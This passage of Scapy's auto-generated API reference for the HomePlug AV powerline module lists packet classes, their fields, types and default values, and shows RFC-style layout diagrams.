x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', AllowNEKRotation=0, OverrideLocalNEK=0, LocalNEKToUse=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', OverrideNEKRotationTimer=0, NEKRotationTime_Min=0, reserved_14=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', AVLNMembership=0, SimpleConnectTimeout=0, EnableLEDThroughputIndicate=0, MidLEDThroughputThreshold_Mbps=0, HighLEDThroughputThreshold_Mbps=0, reserved_15=0, EnableUnicastQuieriesToMember=0, DisableMLDGroupIDCheckInMAC=0, EnableReportsToNonQuerierHosts=0, DisableExpireGroupMembershipInterval=0, DisableLEDTestLights=0, GPIOMaps=[''], reserved_16=0, EnableTrafficClass_DSCPOver=0, TrafficClass_DSCPMatrices=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', GPIOControl=0, LEDControl=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', OverrideMinButtonPressHoldTime=0, MinButtonPressHoldTime=0, reserved_17=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', MemoryProfile=0, DisableAllLEDFlashOnWarmReboot=0, UplinkLimit_bps=0, DownlinkLimit_bps=0, MDUStaticSNID=0, MitigateEnabled=0, CorrelThreshold=0, ScaledTxGain=0, ResourceThresholdEnabled=0, ReservedPercentageForCaps=[''], PowerSavingMode=0, PowerLEDDutyCycle=0, reserved_18=0, LinkUpDurationBeforeReset_ms=0, PowerLEDPeriod_ms=0, LinkDownDurationBeforeLowPowerMode_ms=0, reserved_19=0, AfeGainBusMode=0, EnableDynamicPsd=0, ReservedPercentageForTxStreams=0, ReservedPercentageForRxStreams=0, reserved_20=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', LegacyNetworkUpgradeEnable=0, unknown=0, MMETTL_us=0, ConfigBits=[''], TxToneMapExpiry_ms=0, RxToneMapExpiry_ms=0, TimeoutToResound_ms=0, MissingSackThresholdForUnplugDetection=0, UnplugTimeout_ms=0, ContentionWindowTableES=[''], BackoffDeferalCountTableES=[''], GoodSoundCountThreshold=0, SoundCountThreshold_GoodSoundCountPass=0, SoundCountThreshold_GoodSoundCountFail=0, reserved_21=0, ExclusiveTxPbs_percentage=0, ExclusiveRxPbs_percentage=0, OptimizationBackwardCompatible=0, reserved_21b=0, MaxPbsPerSymbol=0, MaxModulation=0, ContinuousRx=0, reserved_22=b'\x00\x00\x00\x00\x00\x00', PBControlStatus=0, STAMembershipMaskEnabled=0, ExitDefaultEnabled=0, RejectDefaultEnabled=0, ChainingEnabled=0, VendorSpecificNMK=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', LocalMACAddressLimit=0, OverrideBridgeTableAgingTime=0, LocalBridgeTableAgingTime_min=0, RemoteBridgeTableAgingTime_min=0, PhySyncReference=0, reserved_23=0, reserved_24=0, reserved_25=0, reserved_26=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', OverrideDefaultLedEventBehavior=128, ReportToHostInfo=0, reserved_27=0, NumBehaviors=0, BehaviorBlockArrayES=[''], NumEvents=0, EventBlockArrayES=[''])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L833-L1256]

	Bases: Packet


	Simple Module PIB Decoder.
	/!/ A wrong slice would produce ‘bad’ results
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fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FIRMWAREMAJORVE|PIBMINORVERSION|           RESERVED 1          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PIBLENGTH           |           RESERVED 2          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CHECKSUMPIB                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PIBMACADDR                          |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              DAK              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           RESERVED 3          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MANUFACTORID                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              NMK                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             USERID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVLN ID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  CCOSELECTION |COEXISTSELECTIO|PLFREQSELECTION|H3CDOWNGRADESHL|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          PREFERREDNID                         |
+                                               +-+-+-+-+-+-+-+-+
|                                               |AUTOFWUPGRADEAB|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MDUCONFIGURATIO|    MDUROLE    | SNIFFERENABLED|SNIFFERMACADDRR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | WIRETAPENABLE |           RESERVED 4          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|STATICNETWORKEN|     LD TEI    |           CCO MACADD          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      SNID     | NUMOFPEERNODES|           PEERNODES           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED 5                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |OVERIDEMODEDEFA|DISABLEFLOWCONT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ADVERTISEMENTCA|OVERRIDEMETERIN|        MAXFRAMESPERSEC        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |DISABLEAUTONEGO|ENETSPEEDSETTIN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ENETDUPLEXSETTI|DISABLETXFLOWCO|DISABLERXFLOWCO|PHYADDRESSSELEC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PHYADDRESSSELEC|   RESERVED 6  |   FORCE33MHZ  |LINKSTATUSONPOW|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|OVERRIDEIDDEFAU|OVERRIDESUBIDDE|          PCIDEVICEID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PCIVENDORID          |   RESERVED 7  |  PCICLASSCODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PCICLASSCODESUB| PCIREVISIONID |         PCISUBSYSTEMID        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PCISYBSYSTEMVENDORID     |           RESERVED 8          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |OVERRIDEIGMPDEF|  CONFIGFLAGS  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NUMCPTOSEND PLF|                   RESERVED 9                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
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	AllowNEKRotation

	XIntField (Cond)

	0



	OverrideLocalNEK

	XIntField (Cond)

	0



	LocalNEKToUse

	StrFixedLenField (Cond)

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	OverrideNEKRotationTimer

	XIntField (Cond)

	0



	NEKRotationTime_Min

	XIntField (Cond)

	0



	reserved_14

	StrFixedLenField (Cond)

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	AVLNMembership

	XIntField (Cond)

	0



	SimpleConnectTimeout

	XIntField (Cond)

	0



	EnableLEDThroughputIndicate

	XByteField (Cond)

	0



	MidLEDThroughputThreshold_Mbps

	XByteField (Cond)

	0



	HighLEDThroughputThreshold_Mbps

	XByteField (Cond)

	0



	reserved_15

	XByteField (Cond)

	0



	EnableUnicastQuieriesToMember

	XByteField (Cond)

	0



	DisableMLDGroupIDCheckInMAC

	XByteField (Cond)

	0



	EnableReportsToNonQuerierHosts

	XShortField (Cond)

	0



	DisableExpireGroupMembershipInterval

	XIntField (Cond)

	0



	DisableLEDTestLights

	XIntField (Cond)

	0



	GPIOMaps

	PacketListField (Cond)

	['']



	reserved_16

	XLongField (Cond)

	0



	EnableTrafficClass_DSCPOver

	XByteField (Cond)

	0



	TrafficClass_DSCPMatrices

	StrFixedLenField (Cond)

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	GPIOControl

	XByteField (Cond)

	0



	LEDControl

	StrFixedLenField (Cond)

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	OverrideMinButtonPressHoldTime

	XIntField (Cond)

	0



	MinButtonPressHoldTime

	LEIntField (Cond)

	0



	reserved_17

	StrFixedLenField (Cond)

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	MemoryProfile

	XIntField (Cond)

	0



	DisableAllLEDFlashOnWarmReboot

	XIntField (Cond)

	0



	UplinkLimit_bps

	LEIntField (Cond)

	0



	DownlinkLimit_bps

	LEIntField (Cond)

	0



	MDUStaticSNID

	XIntField (Cond)

	0



	MitigateEnabled

	XByteField (Cond)

	0



	CorrelThreshold

	XIntField (Cond)

	0



	ScaledTxGain

	LEIntField (Cond)

	0



	ResourceThresholdEnabled

	XByteField (Cond)

	0



	ReservedPercentageForCaps

	PacketListField (Cond)

	['']



	PowerSavingMode

	XByteField (Cond)

	0



	PowerLEDDutyCycle

	XByteField (Cond)

	0



	reserved_18

	XShortField (Cond)

	0



	LinkUpDurationBeforeReset_ms

	LEIntField (Cond)

	0



	PowerLEDPeriod_ms

	LEIntField (Cond)

	0



	LinkDownDurationBeforeLowPowerMode_ms

	LEIntField (Cond)

	0



	reserved_19

	XIntField (Cond)

	0



	AfeGainBusMode

	XByteField (Cond)

	0



	EnableDynamicPsd

	XByteField (Cond)

	0



	ReservedPercentageForTxStreams

	XByteField (Cond)

	0



	ReservedPercentageForRxStreams

	XByteField (Cond)

	0



	reserved_20

	StrFixedLenField (Cond)

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	LegacyNetworkUpgradeEnable

	XIntField (Cond)

	0



	unknown

	XIntField (Cond)

	0



	MMETTL_us

	LEIntField (Cond)

	0



	ConfigBits

	PacketListField (Cond)

	['']



	TxToneMapExpiry_ms

	LEIntField (Cond)

	0



	RxToneMapExpiry_ms

	LEIntField (Cond)

	0



	TimeoutToResound_ms

	LEIntField (Cond)

	0



	MissingSackThresholdForUnplugDetection

	XIntField (Cond)

	0



	UnplugTimeout_ms

	LEIntField (Cond)

	0



	ContentionWindowTableES

	PacketListField (Cond)

	['']



	BackoffDeferalCountTableES

	PacketListField (Cond)

	['']



	GoodSoundCountThreshold

	XByteField (Cond)

	0



	SoundCountThreshold_GoodSoundCountPass

	XByteField (Cond)

	0



	SoundCountThreshold_GoodSoundCountFail

	XByteField (Cond)

	0



	reserved_21

	XShortField (Cond)

	0



	ExclusiveTxPbs_percentage

	XByteField (Cond)

	0



	ExclusiveRxPbs_percentage

	XByteField (Cond)

	0



	OptimizationBackwardCompatible

	XByteField (Cond)

	0



	reserved_21b

	XByteField (Cond)

	0



	MaxPbsPerSymbol

	XByteField (Cond)

	0



	MaxModulation

	XByteField (Cond)

	0



	ContinuousRx

	XByteField (Cond)

	0



	reserved_22

	StrFixedLenField (Cond)

	b'\x00\x00\x00\x00\x00\x00'



	PBControlStatus

	XByteField (Cond)

	0



	STAMembershipMaskEnabled

	XByteField (Cond)

	0



	ExitDefaultEnabled

	XByteField (Cond)

	0



	RejectDefaultEnabled

	XByteField (Cond)

	0



	ChainingEnabled

	XByteField (Cond)

	0



	VendorSpecificNMK

	StrFixedLenField (Cond)

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	LocalMACAddressLimit

	XByteField (Cond)

	0



	OverrideBridgeTableAgingTime

	XByteField (Cond)

	0



	LocalBridgeTableAgingTime_min

	XShortField (Cond)

	0



	RemoteBridgeTableAgingTime_min

	XShortField (Cond)

	0



	PhySyncReference

	XIntField (Cond)

	0



	reserved_23

	XByteField (Cond)

	0



	reserved_24

	XIntField (Cond)

	0



	reserved_25

	XIntField (Cond)

	0



	reserved_26

	StrFixedLenField (Cond)

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	OverrideDefaultLedEventBehavior

	XByteField (Cond)

	128



	ReportToHostInfo

	XByteField (Cond)

	0



	reserved_27

	X3BytesField (Cond)

	0



	NumBehaviors

	XByteField (Cond)

	0



	BehaviorBlockArrayES

	PacketListField (Cond)

	['']



	NumEvents

	XByteField (Cond)

	0



	EventBlockArrayES

	PacketListField (Cond)

	['']















	
class scapy.contrib.homeplugav.NetworkInfoConfirmationV10(_pkt, /, *, LogicalNetworksNumber=1, NetworksInfos=[''], StationsNumber=1, StationsInfos=[''])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L285-L293]

	Bases: Packet

Network Information Confirmation following the MAC Management version 1.0  # noqa: E501


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LOGICALNETWORKS|         NETWORKSINFOS         | STATIONSNUMBER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STATIONSINFOS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. NetworkInfoConfirmationV10                  


NetworkInfoConfirmationV10 fields






	LogicalNetworksNumber

	XByteField

	1



	NetworksInfos

	PacketListField

	['']



	StationsNumber

	XByteField

	1



	StationsInfos

	PacketListField

	['']











	
payload_guess

	Possible sublayers:
NetworkInfoV10










	
class scapy.contrib.homeplugav.NetworkInfoConfirmationV11(_pkt, /, *, reserved_n1=b'\x00\x00:\x00\x00', LogicalNetworksNumber=1, NetworksInfos=[''], StationsNumber=1, reserverd_s1=b'\x00\x00\x00\x00\x00', StationsInfos=[''])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L296-L307]

	Bases: Packet

Network Information Confirmation following the MAC Management version 1.1  # noqa: E501
This introduce few ‘crazy’ reserved bytes -> have fun!


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          RESERVED N1                          |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |LOGICALNETWORKS|         NETWORKSINFOS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| STATIONSNUMBER|                  RESERVERD S1                 |
+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         STATIONSINFOS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. NetworkInfoConfirmationV11                  


NetworkInfoConfirmationV11 fields






	reserved_n1

	StrFixedLenField

	b'\x00\x00:\x00\x00'



	LogicalNetworksNumber

	XByteField

	1



	NetworksInfos

	PacketListField

	['']



	StationsNumber

	XByteField

	1



	reserverd_s1

	StrFixedLenField

	b'\x00\x00\x00\x00\x00'



	StationsInfos

	PacketListField

	['']











	
payload_guess

	Possible sublayers:
NetworkInfoV11










	
class scapy.contrib.homeplugav.NetworkInfoV10(_pkt, /, *, NetworkID=b'\x00\x00\x00\x00\x00\x00\x00', ShortNetworkID=0, TerminalEID=1, StationRole=0, CCoMACAdress='00:00:00:00:00:00', CCoTerminalEID=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L209-L222]

	Bases: Packet

Network Information Element


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L221-L222]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NETWORKID                           |
+                                               +-+-+-+-+-+-+-+-+
|                                               | SHORTNETWORKID|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TERMINALEID  |  STATIONROLE  |          CCOMACADRESS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| CCOTERMINALEID|
+-+-+-+-+-+-+-+-+

                       Fig. NetworkInfoV10                        


NetworkInfoV10 fields






	NetworkID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00'



	ShortNetworkID

	XByteField

	0



	TerminalEID

	XByteField

	1



	StationRole

	ByteEnumField

	0



	CCoMACAdress

	MACField

	'00:00:00:00:00:00'



	CCoTerminalEID

	XByteField

	1















	
class scapy.contrib.homeplugav.NetworkInfoV11(_pkt, /, *, NetworkID=b'\x00\x00\x00\x00\x00\x00\x00', reserved_1=0, ShortNetworkID=0, TerminalEID=1, reserved_2=0, StationRole=0, CCoMACAdress='00:00:00:00:00:00', CCoTerminalEID=1, reserved_3=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L244-L260]

	Bases: Packet

Network Information Element


	
